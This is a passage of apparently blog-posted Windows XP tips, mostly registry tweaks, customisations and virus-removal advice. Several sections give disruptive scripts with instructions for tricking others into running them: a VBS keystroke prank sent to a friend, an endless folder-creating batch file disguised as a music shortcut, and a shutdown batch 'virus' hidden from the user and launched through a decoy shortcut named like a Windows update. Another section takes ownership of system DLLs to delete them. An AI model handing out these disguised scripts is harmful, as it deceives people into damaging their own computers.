Background picture in folder

Open notepad and copy the following code in it.

[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Image=F:\Celebs\Harsh_Mantri.jpg
iconarea_text= 0x00FFFFFF 

Now save the notepad file in the folder where you need the background picture and the notepad  should be saved as desktop.ini Now change the icon of that folder by right click on it and click properties.Then go to customize tab and click change icon.Here change the icon of your wish. Click ok and close. Now you can see the selected picture as background in the folder.

Display your name in Windows task bar

It is cool XP trick for you that will let you show off your name branding in front of your non-geek friends.This trick will let you display a name of your choice in the Windows Taskbar just beside the digital time clock.

1.    Follow the steps ..

2.    Open Start Menu and then open Control Panel

3.    Double click Regional and Language Options

4.    Click Customize (besides English U.S drop down menu)

5.    Go to Time tab and change AM/PM symbols to the name of your choice

Automatic Screen Refresh

When you make changes to your file system and use Explorer,

1.    the changes are not usually displayed until you press the F5 key.

2.    To Refresh Automatically: 

3.    Open RegEdit 

4.    Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update 

5.    Set the value name "UpdateMode" to 1

Open Notepad & Write Something Automatically

Here Is A Funny Vbs Script Which You Can Play On Your Friend Computer.This Simple Vbs Script Will Open A Notepad And Will Write Something Automatically On That Notepad.

WScript.Sleep 180
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com "
WScript.Sleep 500
WshShell.SendKeys " www.mastercomputer88.blogspot.com " 

Just Copy This Vbs Script Paste It On Notepad And Save It As Anyname.Vbs 

Extension.Then Send This File To Your Friend To Play A Prank.Change The Vbs Script According To Your Need Or Fun.

Create Con & Pre Folder

Create Con & Pre Folder:

             Open Command Prompt
             Type Following


                     MD \\.\C:\CON

                     MD \\.\C:\PRN


Remove Con & Pre Folder:

              Open Command Prompt
              Type Following


                      RD \\.\C:\CON

                      RD \\.\C:\PRN

Make over 1,000 folders in few seconds

Make an unlimited amount of folders in any place you want.

1.    Open notepad and type :

                  q@echo off
                  :top
                  md MasterComputer88%random%
                  goto top 

2.    @echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.

3.    md %random% is command that creating folders with random names.
goto top – return to label :top, infinite loop

4.    Save it as 1000folders.bat

5.    People probably not going to click on an icon that looks like this picture so to make it better (funnier and easier to prank people with) make a short-cut to it

6.    Right click on icon and click Create Shortcut

7.    Right click on shortcut and click properties , then click on Change Icon and rename icon

Tell the person that you found the music they wanted and downloaded it on there computer,That way they will think its a shortcut to the music and they will click on it then they will think its loading so they wont exit right away when they finally realize its not going to load or so many errors have came up they realized somethings wrong it will be to late) also just something to know its impossible to delete them using cmd you HAVE to find all of them and delete them manually…

Faster webpage look up

Instead of typing

1.    http://www.mastercomputer88.blogspot.com

2.    you can just type anysite [mastercomputer88.blogspot] then press ctrl+Enter and it

3.    automatically puts in the http://www and the .com

4.    mastercomputer88.blogspot + "  ctrl+Enter "

http://www.mastercomputer88.blogspot.com

Information and image in System properties

I want to thank this very useful site for teaching me a lots of TWEAKING TIPS. So, as a gesture of my appreciation I want to share this simple tweak I learned. Please run notepad and paste this text: 

[General]
Manufacturer="You can display useful information here"
Model="You can display useful information here"

[Support Information]
Line1="You can display useful information here"
Line2="You can display useful information here"
Line3="You can display useful information here"
Line4="You can display useful information here"
Line5="You can display useful information here"
Line6="You can display useful information here"
Line7="You can display useful information here"
Line8="You can display useful information here"
Line9="You can display useful information here"
Line10="You can display useful information here"

Save it as oeminfo.ini in C:\WINDOWS\System 32. You can also create a bitmap file and name it as oemlogo.bmp, save it in C:\WINDOWS\System 32. Now, try to hold down Win key while pressing Pause/break. You'll notice that the text and image you created will appear in your System properties.

Load control Panel

Open Regedit and go to:

[HKEY_CURRENT_USER\Control Panel\]

Add a key named Don't Load 

Next add String values within the "don't load" Key. You will use one String value for each control panel applet you want removed. For example, if I want to remove the System applet I will make a string value with the name sysdm.cpl and no value set and the System applet will no longer be available under the Control Panel. 

To restore a full control Panel to default just delete the "don't load" key.

Here are the Windows XP Pro Control Panel applets:

Accessibility Options = access.cpl

Add Hardware Wizard = hdwwiz.cpl

Add or remove programs = appwiz.cpl

Display Properties = desk.cpl

Game Controllers = joy.cpl

Internet Properties = Inetcpl.cpl

Mouse Properties = main.cpl

Network Connections = ncpa.cpl

ODBC Administrator = odbccp32.cpl

Phone and modem Options = telephon.cpl

Power Options = powercfg.cpl

Region and Language Options = intl.cpl

Sound and Audio Devices = mmsys.cpl

Speech Properties = sapi.cpl

System Properties = sysdm.cpl

Time and Date Properties = timedate.cpl

User Accounts = nusrmgr.cpl

Add program in “send to”

Easiest way to configure the "Send to" feature is to create a shortcut to the SendTo folder

C:\Documents and Settings\username\SendTo\  

[it is hidden]

where X is your drive letter and username is your username and then paste that shortcut into the SendTo folder.Any program you want to assign to the sendto folder, you then just right click on the program's shortcut and choose Send To->Send To.

Create a shortcut to switch users

Fast user switching has been a very useful feature of Windows for multi-user computers. Dating back to Windows XP, fast user switching allows multiple users to be logged into a computer at once. This is very useful if a user is in the middle of work but another needs to use the computer shortly. Fast user switching will allow the other user to log in while still retaining the other users session. Once the other user is finished the session can be switched back to the original user. 

1.  Creating a shortcut to switch the active user is as easy as creating a shortcut to c:\windows\system32\tsdiscon.exe

2.  Right click where you want the shortcut to be created and select New and then Shortcut.

3.   Copy and paste “c:\windows\system32\tsdiscon.exe” into the location box and hit Next.

4.    Give it a name and hit Finish.

RoboCopy

RoboCopy or Robust File Copy for Windows is an enhanced file copy that far surpasses what you can do from either the Explorer or XCOPY It is a very robust command line driven program with a huge amount of switches and options. In addition to standard switches like /S for subdirectories.

1.    /PURGE :: delete dest files/dirs that no longer exist in source

2.    /MOV :: MOVe files (delete from source after copying)

3.    /MON:n ::Monitor source; run again when more than n changes seen. 

4.    /MOT:m :: MOnitor source; run again in m minutes Time, if changed

5.    /MAX:n :: MAXimum file size - exclude files bigger than n bytes.

6.    /MAXAGE:n :: MAXimum file AGE - exclude files older than n days/date

7.    /R:n :: number of Retries on failed copies: default 1 million

            8.  /TBD :: wait for sharenames To Be Defined (retry error 67)

Make the backup smaller

I use ghost to backup my windows partition.

To make the backup smaller you can remove the hiberfil.sys (for hibernating) and pagefile.sys (extra ram) from your partition before you make the ghost.   The hiberfil is the same size as the amount of RAM you have, and the pagefile is mostly  about 400Mb.

Boot in DOS (the old operating system), herefore you'll need an old WINDOWS98 bootdisk with attrib on it. Run the following commands:

attrib -s -h hiberfil.sys

erase hiberfil.sys

attrib -s -h pagefile.sys

erase pagefile.sys

This will make a huge difference.

Bring up your folder option

This is may to due virus so first scan with updated antivirus and then 
follow that I specified below then we will see., 

1.    Run => Type gpedit.msc 

In this 

User Configuration

                                                                       Administrative Templates

                                                                       Windows Components

                                                                      Windows Explorer

                                                                       Removes the Folder Options menu item from the 
                                   Toolsmenu.

2.   Right click

      Properties => Disable =>Apply

Delete any file

Warning-This method can corrupt our Windows OS if adopted for system file.First you need to take ownership of the file. In command prompt type the following

The file "wmploc.dll" has been taken for example

takeown /f C:\Windows\System32\wmploc.dll

This command will effectively give you ownership of the file.

At this point you still have no rights to delete it. Now you need to run the "cacls" command to give yourself full control rights to the file:

cacls C:\Windows\System32\wmploc.dll /G eches:F

Note: Be sure to replace username "eches" with your username.

After confirming the changes by typing in "y" for yes and hitting enter button, you should be able to delete the file.

RightClick drive defragmentation

1.    Create a .reg file and name it to whatever you think might fit.

      (create an empty .txt-file and rename it to whatever.reg)

2.    Rightclick it and choose "edit".

3.    Paste the following into it:
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Drive\shell\Defrag\Command]
@="defrag.exe %1 -f -v"

4.    Save and close.

5.    Doubleclick it and answer yes/ok to the questions.

6.    Rightclick a drive and choose 'Defrag' to defragment it.

The not as simple but yet not difficult way:

1.    Open RegEdit.

2.     Navigate to "HKEY_CLASSES_ROOT\Drive\shell".

3.     Create a new Key named "Defrag".
(This is what will show in the RightClick-menu so if you'd like it to say "Mah 1337           d3Phr4G-h4Ck" then use that keyname ;) )

4.    Create a sub-key to you ¨"Defrag" key and name it "Command".
(This name is not an option)

5.    Go to the "Command" key and doubleclick

                 "(default)".

6.    Change it's value to "defrag.exe %1 -f -v"
(-f = force defragmentation even if there's to little free space on the drive.)
(-v = Verbose mode.)

7.    Save and you're done.

Fun Mouse

Are you interested in browing the internet the fastest way possible?

Save time by using keyboard mouse shortcuts desiged for a wheel scroll mouse. Below are a few tips to help you naviagte the web faster.

To change the size of the text using your wheel mouse: 

1.    Hold down the CTRL button on your keyboard

2.    Scroll the wheel on your mouse up to decrease size of text

3.    Scroll the wheel on your mouse down to increase the size of text

To use you mouse to navigate back and fourth between pages instead of the buttons:

1.    Hold down the Shift button on your keyboard

2.    Scroll the wheel on your mouse up to navigate forward one page

3.    Scroll the wheen on your mouse down to navigate back one page

All of the above tips require a mouse with a scroll whee

Slow logon to domain in XP

You may experience extremely long delays (up to 5 minutes) when logging into domains using Windows XP Pro. This is caused by the asyncronous loading of networking during the boot up process. This speeds up the login process in a stand-alone workstation by allowing the user to log in with cached logon credentials before the network is fully ready.

To disable this "feature" and restore your domain logons to their normal speed, open the MMC and add the group policy snap-in. Under Computer Configuration-->Administrative Templates-->System-->Logon, change "Always wait for the network at computer startup and logon" to ENABLED.

This can be fed to clients via a group policy from a Windows 2000 server by upgrading the standard policy template with the XP policy template. Since this is an XP only command, non-XP systems will ignore it in a domain distributed group policy.

Remove virus manually

Remove virus manually

Tools required

1.    Restriction removal tool
http://www.softpedia.com/get/Security/Security-Related/RRT-Remove-Ristrictions-Tool.shtml

2.    Unhackme
http://www.greatis.com/unhackme/download.htm

3.    Hijackthis
http://filehippo.com/download_hijackthis/
      http://www.download.com/Trend-Micro-HijackThis/3000-8022_4-10227353.html

4.    Process explorer
http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx

If your pc is affected with some virus the most common of all is your folder otion will be disabled,you may not be able to open task manager, etc now 1st step is to identify the virus process process explorer will help u and u may see the path of the installed file on ur system now use restriction removal tool to remove the task bar ..folder option restrictions...etc... now our aim is to remove the running virus process..use hijackthis and select the virus process. it will remove the process from startup registry also..
finally try unhacme.. to remove the rootkits

many virus can be removed in this way but many still remain on ur pc.. in such situations.. try to google for its removal methods manually.. once the restrictions are removed u may be able to use taskmanager and able to use regedit command.

Create a harmless virus

@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost)
shutdown.exe (shutdown) ==

1.    Read and understand the warnings!

2.    Open Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering "Notepad" under Start > Run.

3.    Copy and Paste the Code of the "virus" into Notepad.

4.    Click File > Save as.

5.    Decide for a location to save the virus. You should chose a location where the user won't find the file, so saving it on the desktop would be a bad idea!

6.    Change ".txt" to "All files" in the file type drop-down menu.

7.    Chose a harmless filename. Replace the ".txt" at the with ".bat"

8.    Click on save and close Notepad.

Now that we have the virus saved, we should prepare a decoy:

1.    Right click on the desktop and go over to "new" then click "short cut".

2.    For the location of the short cut chose our Virus.

3.    Click next.

4.    Give the shortcut a name that your victim will click on. ("Music for free", "My Documents", "Critical Windows-Update" "Get Free Cinema-Tickets" or "Internet Explorer").

5.    Click on "Finish".

6.    Right click on the shortcut you have just made and chose "properties". Now click on the "chose icon" button and scroll through the list of icons.

7.    Decide for one of the icons that fits well to the name, chose it by clicking on it and hit OK twice.